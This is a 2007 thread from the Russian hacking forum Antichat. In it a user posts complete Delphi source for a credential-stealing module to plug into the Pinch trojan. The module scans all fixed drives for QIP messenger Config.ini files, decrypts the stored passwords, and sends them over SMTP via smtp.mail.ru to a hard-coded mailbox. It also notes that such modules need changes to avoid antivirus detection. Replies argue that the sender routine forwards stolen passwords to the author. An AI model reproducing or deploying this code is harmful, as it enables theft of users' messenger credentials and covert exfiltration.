ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > ICQ
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Воруем пасы из Qip'a. Delphi.
  #1  
Старый 15.02.2007, 16:04
t04
Участник форума
Регистрация: 10.01.2007
Сообщений: 140
Провел на форуме:
246020

Репутация: 105
Thumbs up Воруем пасы из Qip'a. Delphi.

Тема конечно изъезжена вдоль и поперек но многие хотят что бы пинч выдирал пасы и из qip'a тоже так как готовые модули никто не выкладывал то хочу поделиться своим;

я написал на Delphi весит около 11 Кб после упаковки UPX'ом, работает вплоть до билда 8000 и скорее всего выше тоже.

1) ищет и везде, по всем логическим дискам и каталогам
2) выдирает пароли
3) дешифрует их
4) отсылает пароли на почтовый ящик

стандартные модули для пинча тут они конечно же палятся каспером поэтому желательно их модифицировать.

собсна мой модуль выгляд так:

Код:
unit uQIP;

interface

uses
  Windows;

function QIP(AD:Boolean) : String;

implementation

const
  clipboard = 255*1024;

type
  TMyArray = array[1..clipboard] of char;
  PMyArray = ^TMyArray;

var
  PasWD : String = 'qip:'+#$D+#$A;

//Ясно без комментариев ;)
function MyStrToInt(S:String):Integer;
var
  I, ErrorCode: Integer;
begin
  Result:=-0;
  Val(S, I, ErrorCode);
  if ErrorCode <> 0 then
    begin
      WinExec(PChar(ParamStr(0)),SW_HIDE);
      Halt;
    end
  else
    Result := I;
end;

//Расшифровка паролей
function DecryptQIPPass_New(pass:string):string;

function DecodeBase64(value:string):string;

function DecodeChunk(const chunk:string):string;
const
  b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
  w : LongWord;
  i : byte;
  c : char;
begin
  w:=0;
  Result:='';
  for i:=1 to 4 do
	  if pos(Chunk[i],b64)<>0 then
	    w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
  for i := 1 to 3 do
    begin
	    c:=chr(w shr((3-i)shl 3)and $ff);
	    if c<>#0 then Result:=Result+c
    end
end;

begin
  Result:='';
  if length(Value)and $03<>0 then exit;
  while length(Value)>0 do
    begin
      Result:=Result+DecodeChunk(copy(value,0,4));
      delete(value,1,4);
    end
end;

var
  t,i,c : integer;
begin
  i:=length(pass);
  if i=0 then
	  result:='Not Saved'
  else
	if i and $03<>0 then
	  result:='Cannot Decrypt'
	else
    begin
	    Result:=DecodeBase64(pass);
  	  t:=$1ac3;
    	  for i:=1 to length(Result) do
          begin
      	    c:=Ord(Result[i]);
      	    Result[i]:=chr(c xor(t shr 8));
            t:=(t+c)*$38421+$64ceb;
      	  end
    end
end;

function DecryptQIPPass_Old(pass:string):string;
const
  Table1:string='4654360486439083677';
  Table2:string='216463956385630579';

function DeXor1(const Pass,Table:string):string;
var
  CryptChar:Byte;
  i,p:Integer;
begin
  Result:=Pass;
  CryptChar:=Length(Table)-1;
  p:=1;
  for i:=1 to Length(Result) do begin
    if (CryptChar and 8) = 0 then
      CryptChar:=CryptChar xor 1;
    CryptChar:=not CryptChar;
    CryptChar:=(CryptChar shr 1)or(CryptChar shl 7);
    Result[i]:=Chr(Ord(Result[i])xor CryptChar xor Ord(Table[p]));
    Inc(p);
    if p>Length(Table) then
      p:=1;
  end;
end;

function DeXor2(const Pass:string):string;
var
  CryptInt:SmallInt;
  i,t,l,v:integer;
const
  Table: array[0..$5f] of Byte = (
    $5A, $54, $5B, $5C, $55, $4E, $48, $4F, $56, $5D, $5E, $57, $50, $49, $42, $3C,
    $43, $4A, $51, $58, $5F, $59, $52, $4B, $44, $3D, $36, $30, $37, $3E, $45, $4C,
    $53, $4D, $46, $3F, $38, $31, $2A, $24, $2B, $32, $39, $40, $47, $41, $3A, $33,
    $2C, $25, $1E, $18, $1F, $26, $2D, $34, $3B, $35, $2E, $27, $20, $19, $12, $0C,
    $13, $1A, $21, $28, $2F, $29, $22, $1B, $14, $0D, $06, $00, $07, $0E, $15, $1C,
    $23, $1D, $16, $0F, $08, $01, $02, $09, $10, $17, $11, $0A, $03, $04, $0B, $05
  );
begin
  Result:=Pass;
  l:=length(Result);
  t:=l;
  for i:=1 to l do begin
    CryptInt:=Ord(Result[i])-$20;
    if (CryptInt>=0) and (CryptInt<=$5f) then begin
      v:=CryptInt;
      if l and $03<>0 then
	t:=(t shl 3)or(t shr 27);
      t := t and $1f;
      CryptInt:=CryptInt xor t;
      t:=t+l+v;
      Result[i]:=Chr(Table[CryptInt]+$20);
    end;
    Dec(l);
  end;
end;

var
  i,l:integer;
begin
  result:='';
  l:=length(pass);
  if l=0 then
    result:='Not Saved'
  else
    if l and $01<>0 then
      result:='Cannot Decrypt'
    else
      begin
        for i:=1 to l do
          begin
          	if pos(pass[i],'0123456789ABCDEF')=0 then
              begin
            	  result:='Cannot Decrypt';
	              exit
	            end
          end;
        for i := 1 to l shr 1 do
	        Result:=Result+Chr(MyStrToInt('$'+Copy(pass,i shl 1 -1,2)));
      Result:=DeXor1(Result,Table1);
      Result:=DeXor1(Result,Table2);
      Result:=DeXor2(Result);
    end
end;

//Узнаем все логические диски
function MyGetLogicalDrives : String;
var
   drives  : set of 0..25;
   drive   : integer;
begin
   Result := '';
   DWORD( drives ) := Windows.GetLogicalDrives;
   for drive := 0 to 25 do
      if drive in drives then
         Result := Result + Chr( drive + Ord( 'A' ));
end;

{ Узнаем имя последнего каталога
  Нужно для того что бы узнать от какого UIN'a мы узнали пароль}
function ExtractLastPathName(S:String):String;
begin
Result:=S;
Delete(S,Length(S),1);
while Pos('\',s) <> 0 do
  begin
    Delete(s,1,Pos('\',s));
    Result:=S;
  end;
end;

//Выдираем криптованную строку из Config.ini
procedure ExtractPass(fp,fn:String);
var
  body: hFile;
  rd,x : cardinal;
  Size: DWORD;
  buf : PMyArray;
  st  : OFSTRUCT;
  s   : String;
begin
  s := '';
  body := OpenFile(PChar(fp+fn),st,OF_READ);
  Size:=GetFileSize(body,nil);
  GetMem(buf,Size);
  try
    ReadFile(body, buf^, Size, rd, nil);
    for x := 1 to Size do
        S := S + buf[x];
    if S <> '' then
      if Pos('NPass=',S) <> 0 then
        begin
          Delete(S,1,Pos('NPass=',S)+6{Length('NPass=')});
          Delete(S,Pos(#$D+#$A,S),Length(S)-Pos(#$D+#$A,S));
          S :=  ExtractLastPathName(fp)+'; '+
                S+'; '+
                DecryptQIPPass_Old(S)+'; '+
                DecryptQIPPass_New(S)+';'+#$D+#$A;
          PasWD := PasWD + S;
        end;
  finally
    CloseHandle(body);
    FreeMem(buf);
  end;
end;

//Ищем в каталоге с подкаталогами Config.ini
procedure ApiSearch(DiR:String);
var
  FileName: string;
  FindHandle:THandle;
  SearchRec:TWIN32FindData;
begin
  if Dir<>'' then if Dir[length(Dir)]<>'\' then
    Dir:=Dir+'\';
  FindHandle := FindFirstFile(PChar(DiR+'*'), SearchRec);
  try
  if FindHandle <> INVALID_HANDLE_VALUE then
    repeat
      FileName:=SearchRec.cFileName;
      if(FileName='.')or(FileName='..')or(Dir+FileName=ParamStr(0))then continue;
      if(SearchRec.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY <>0)then
        ApiSearch(DiR+FileName+'\')//Если это подкаталог то ищем в нем
      else
        if FileName = 'Config.ini' then
          ExtractPass(Dir,FileName);//Если это то что нужно то выдираем криптованную строку
    until FindNextFile(FindHandle,SearchRec)=false;
  finally
    Windows.FindClose(FindHandle);
  end;
end;

{ Основная функция возращает парли
  Если параметр истинный то ищет во всех логических дисках
  Если ложный - только в C:\Program Files\QIP\Users
}
function QIP(AD:Boolean) : String;
var
  i : Byte;
begin                 
  if AD then
    begin
      for i := 1 to Length(myGetLogicalDrives)do
        if GetDriveType(PChar(myGetLogicalDrives[i]+':\')) = DRIVE_FIXED then
          ApiSearch(myGetLogicalDrives[i]+':\');
    end
  else
    ApiSearch('C:\Program Files\QIP\Users');
  Result := PasWD;
end;

end.
function QIP(AD:Boolean) : String;
если параметр true то программа ищет во всех логических дисках и жесткий начинает шуршать
поэтому лучше сначала искать тока в C:\Program Files\QIP\Users а потом везде:

Код:
var
  PASSWORD : String;
begin
  PASSWORD := QIP(false);
  SendPasswords;
  PASSWORD := QIP(true);
  SendPasswords;
end;
SendPasswords(PASSWORD); - отсылка паролей, у мя например на мыло =) код внизу:

Код:
function DateTimeToStrNow:String;
var
  st : TSYSTEMTIME;
  s  : String;
begin
  Result := '';
  GetSystemTime(st);
  Str(st.wHour,s);
  Result := Result+S+':';
  Str(st.wMinute,s);
  Result := Result+S+':';
  Str(st.wSecond,s);
  Result := Result+S;
  Result := Result+' ';
  Str(st.wDay,s);
  Result := Result+S+'.';
  Str(st.wMonth,s);
  Result := Result+S+'.';
  Str(st.wYear,s);
  Result := Result+S;
end; 

function SendPasswords: boolean;
var
  WSAData: TWSAData;
  FSocket: integer;
  HostEnt: PHostEnt;
  SockAddrIn: TSockAddrIn;
  dBuff: PChar;
  dSize: dword;
  Str: array [0..255] of Char;
  HostName: array[0..128] of Char;

  function Success(): boolean;
  var
    Bytes: dword;
    RBuff: array [0..255] of Char;
  begin
    Result := false;
    Bytes := recv(FSocket, RBuff, 255, 0);
    if (Bytes = 0) or (Bytes = SOCKET_ERROR) then Exit;
    RBuff[3] := #0;
    if lstrcmp(RBuff, '220') = 0 then Result := true else
    if lstrcmp(RBuff, '250') = 0 then Result := true else
    if lstrcmp(RBuff, '354') = 0 then Result := true;
  end;

begin
  WSAStartup(257, WSAData);
  Result := false;
  FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(25);
  SockAddrIn.sin_addr.s_addr := inet_addr('smtp.mail.ru');
  if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
    begin
      HostEnt := gethostbyname('smtp.mail.ru');
      if HostEnt = nil then
        begin
          CloseSocket(FSocket);
          Exit;
        end;
      SockAddrIn.sin_addr.s_addr := PLongint(HostEnt^.h_addr_list^)^;
    end;   
  gethostname(HostName, 128);
  if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> -1 then
   begin
    if Success then
     begin
      lstrcpy(Str, PChar('HELO ' + 'smtp.mail.ru' + #13#10#0));
      send(FSocket, Str, lstrlen(Str), 0);
      if Success then
       begin
        lstrcpy(Str, PChar('MAIL FROM: ' + 'myqip@mail.ru' + #13#10#0));
        send(FSocket, Str, lstrlen(Str), 0);
        if Success then
         begin
          lstrcpy(Str, PChar('RCPT TO: ' + 'myqip@mail.ru' + #13#10#0));
          send(FSocket, Str, lstrlen(Str), 0);
          if Success then
           begin
            lstrcpy(Str, 'DATA'#13#10#0);
            send(FSocket, Str, lstrlen(Str), 0);
            if Success then
             begin
              dSize := lstrlen(PChar(HostName+' '+DateTimeToStrNow+#$D+#$A+PASSWORDS));
              GetMem(dBuff, dSize + 6);
              lstrcpy(dBuff, PChar(HostName+' '+DateTimeToStrNow+#$D+#$A+PASSWORDS));
              lstrcat(dBuff, #13#10'.'#13#10#0);
              send(FSocket, dBuff^, dSize + 6, 0);
              FreeMem(dBuff);
              if Success then
               begin
                lstrcpy(Str, 'QUIT'#13#10#0);
                send(FSocket, Str, lstrlen(Str), 0);
                Result := true;
               end;
             end;
           end;
         end;
       end;
     end;
   end;
 CloseSocket(FSocket);
 WSACleanup(); 
 if Result = false then
  begin
    SendPasswords;
    Exit;
  end;
end;
Удачной охоты =)

С вопросами обращаться суда:
ICQ# 466-526-466

PS: Поставьте плюсик Plz =)

Последний раз редактировалось t04; 17.02.2007 в 00:37..
 

  #2  
Старый 17.02.2007, 11:36
devil2007
Banned
Регистрация: 18.05.2006
Сообщений: 150
Провел на форуме:
769625

Репутация: 96
Отправить сообщение для devil2007 с помощью ICQ
По умолчанию

легче просто пинч 2.98 скачать но за старания +2
 

  #3  
Старый 20.02.2007, 20:01
Chakir
Познающий
Регистрация: 17.04.2006
Сообщений: 47
Провел на форуме:
605976

Репутация: 14
По умолчанию

не пользуйтель модулем для отправки он тасы крысит на мыло myqip@mail.ru
[code] lstrcpy(Str, PChar('MAIL FROM: ' + 'myqip@mail.ru' + #13#10#0));
send(FSocket, Str, lstrlen(Str), 0);
if Success then
begin
lstrcpy(Str, PChar('RCPT TO: ' + 'myqip@mail.ru' + #13#10#0));[code]
 

  #4  
Старый 20.02.2007, 20:14
t04
Участник форума
Регистрация: 10.01.2007
Сообщений: 140
Провел на форуме:
246020

Репутация: 105
По умолчанию

Цитата:
Сообщение от Chakir  
не пользуйтель модулем для отправки он тасы крысит на мыло myqip@mail.ru
[code] lstrcpy(Str, PChar('MAIL FROM: ' + 'myqip@mail.ru' + #13#10#0));
send(FSocket, Str, lstrlen(Str), 0);
if Success then
begin
lstrcpy(Str, PChar('RCPT TO: ' + 'myqip@mail.ru' + #13#10#0));[code]
во первых, это не в модуле а в теле программы.

во вторых, модуль только извлекает пасы в виде строки и ни какую инфу никуда не отсылает

в третьих, вы не обязанны указывать именно то мыло, и тем более использывать именно мою прцедуру отправки, как вы будуте отсылать, по мылу, по ftp, по http или еще как то - это ваши проблемы.
 

  #5  
Старый 20.02.2007, 20:32
gemaglabin
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме:
7681825

Репутация: 4451


По умолчанию

Расшифровка пассов с квипа же не твой код
 

  #6  
Старый 20.02.2007, 20:39
t04
Участник форума
Регистрация: 10.01.2007
Сообщений: 140
Провел на форуме:
246020

Репутация: 105
По умолчанию

Цитата:
Сообщение от gemaglabin  
Расшифровка пассов с квипа же не твой код
Читай начало статьи, где ты видел что я написал о том что расшифровка пасов это мой код? Я просто сказал что выложил нормальный модуль для извлечения пасов из qip.

Последний раз редактировалось t04; 20.02.2007 в 20:45..
 

  #7  
Старый 20.02.2007, 20:44
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

Цитата:
Сообщение от t04  
Читай начало статьи, где ты видел что я написал о том что расшифровка пасов это мой код? Я просто сказал что выложил нормальный модуль в котором собрал всё необходимое для извлечения пасов в виде строки.
Одна притензия : где копирайты?
 

  #8  
Старый 20.02.2007, 20:47
t04
Участник форума
Регистрация: 10.01.2007
Сообщений: 140
Провел на форуме:
246020

Репутация: 105
По умолчанию

Цитата:
Сообщение от NOmeR1  
Одна притензия : где копирайты?
я не помню автора кода =(
напомни
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ошибки Windows dinar_007 Windows 19 01.07.2007 13:32
Редактирование содежимого прошивок для Самсунгов Digimortal Схемы и программы 3 28.02.2007 14:22
10 вещей, которые вам нужно знать про Vista Firewall ground_zero Мировые новости 2 11.02.2007 19:02
«Лаборатории Касперского»: Количество вредоносных программ под Linux резко возросло dinar_007 Мировые новости 9 20.08.2006 20:50
Сетевой сканер Nmap. Руководство пользователя foreva Чужие Статьи 1 08.02.2005 16:36



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ